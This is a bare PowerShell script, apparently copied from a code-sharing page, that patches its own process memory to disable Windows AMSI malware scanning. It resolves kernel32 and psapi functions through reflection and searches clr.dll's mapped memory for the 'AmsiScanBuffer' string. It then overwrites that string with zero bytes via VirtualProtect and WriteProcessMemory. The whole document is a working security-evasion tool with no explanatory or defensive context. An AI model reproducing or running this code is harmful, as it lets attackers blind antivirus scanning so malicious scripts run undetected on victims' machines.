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Runtime error
Runtime error
$PAGE_READONLY = 0x02 | |
$PAGE_READWRITE = 0x04 | |
$PAGE_EXECUTE_READWRITE = 0x40 | |
$PAGE_EXECUTE_READ = 0x20 | |
$PAGE_GUARD = 0x100 | |
$MEM_COMMIT = 0x1000 | |
$MAX_PATH = 260 | |
function IsReadable { | |
param ($protect, $state) | |
return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or | |
($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or | |
($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or | |
($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and | |
($protect -band $PAGE_GUARD) -ne $PAGE_GUARD) | |
} | |
$DynAssembly = New-Object System.Reflection.AssemblyName("Win32") | |
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False) | |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]) | |
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public) | |
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType() | |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]) | |
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public) | |
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public) | |
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType() | |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class") | |
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) | |
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError") | |
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True)) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) | |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) | |
$Kernel32 = $TypeBuilder.CreateType() | |
$aa = "AmsiScanBuffer" | |
$signature = [System.Text.Encoding]::UTF8.GetBytes("$aa") | |
$hProcess = [Win32.Kernel32]::GetCurrentProcess() | |
$sysInfo = New-Object Win32.SYSTEM_INFO | |
[void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo) | |
$memoryRegions = @() | |
$address = [IntPtr]::Zero | |
while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) { | |
$memInfo = New-Object Win32.MEMORY_INFO_BASIC | |
if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) { | |
$memoryRegions += $memInfo | |
} | |
$address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64()) | |
} | |
$count = 0 | |
foreach ($region in $memoryRegions) { | |
if (-not (IsReadable $region.Protect $region.State)) { | |
continue | |
} | |
$pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH | |
if ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) { | |
$path = $pathBuilder.ToString() | |
if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) { | |
$buffer = New-Object byte[] $region.RegionSize.ToInt64() | |
$bytesRead = 0 | |
[void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead) | |
for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) { | |
$found = $True | |
for ($m = 0; $m -lt $signature.Length; $m++) { | |
if ($buffer[$k + $m] -ne $signature[$m]) { | |
$found = $False | |
break | |
} | |
} | |
if ($found) { | |
$oldProtect = 0 | |
if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { | |
[void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | |
} | |
$replacement = New-Object byte[] $signature.Length | |
$bytesWritten = 0 | |
[void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten) | |
$count++ | |
if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) { | |
[void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect) | |
} | |
} | |
} | |
} | |
} | |
} | |
$count |